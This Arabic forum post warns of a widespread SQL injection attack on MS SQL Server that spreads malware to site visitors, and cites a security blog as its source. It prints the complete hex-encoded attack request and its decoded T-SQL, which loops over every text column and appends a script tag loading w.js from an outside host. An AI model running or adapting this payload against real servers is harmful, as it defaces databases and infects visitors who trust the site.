بسم الله الرحمن الرحيم ...
من أهم المشاكل التي تواجه أي قاعدة بيانات هي SQL Injection ...و انا لست بصدد شرح ما هي الـ SQL Injection في هذا الموضوع ...
و لكن ظهر اليوم إعلام عن هجوم جديد باستخدام SQL Injection في قواعد البيانات MS SQL SERVER و من المحتمل أن تواجه Sybase أيضاً ...
ظهرت هذه المشكلة في الأسبوع الماضي و من المعتقد انها قد أصابت الآلاف من السيرفرات على مستوى العالم في يوم الجمعة فقط... و هذا الهجوم يقوم بالاستعلام عن مجموعة من الملفات الموجودة في خادم الويب لديك ...
يقوم هذا الهجوم باستهداف الاجهزة التي تعمل على MS SQL SERVER ... و تقوم بتخزين بعض أكواد HTML الخطيرة داخل قواعد البيانات.
و يقوم هذا الأجراء بإعطاء زوار خادم الويب بعض البرمجيات الخطيرة "malware" و التي سيقوم سيقوم المستخدم بقبولها بما أنها من مصدر موثوق "خادم الويب الذي يزورة بشكل يومي" و هذه البرمجيات الخطيرة تقوم باصطياد بعض المعلومات الخاصة بالمستخدم مثل معلوماته البنكية و ما إلى ذلك.
و سيكون شكل الطلب لخادم الويب شبيه بهذا الشكل أدناه:
GET /?';DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1
و بعد التحويل الست عشري "hexadecimal" سيكون الشكل شبيه بالتالي:
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
و حتى ساعة كتابة هذا الخبر، لازالت هذه المشكلة قائمة ...
المصدر و لمزيد من التفاصيل:
http://www.trustedsource.org/blog/142/New-SQL-Injection-Attack-Infecting-Machines
مع تحياتي ... طلال الحضبي.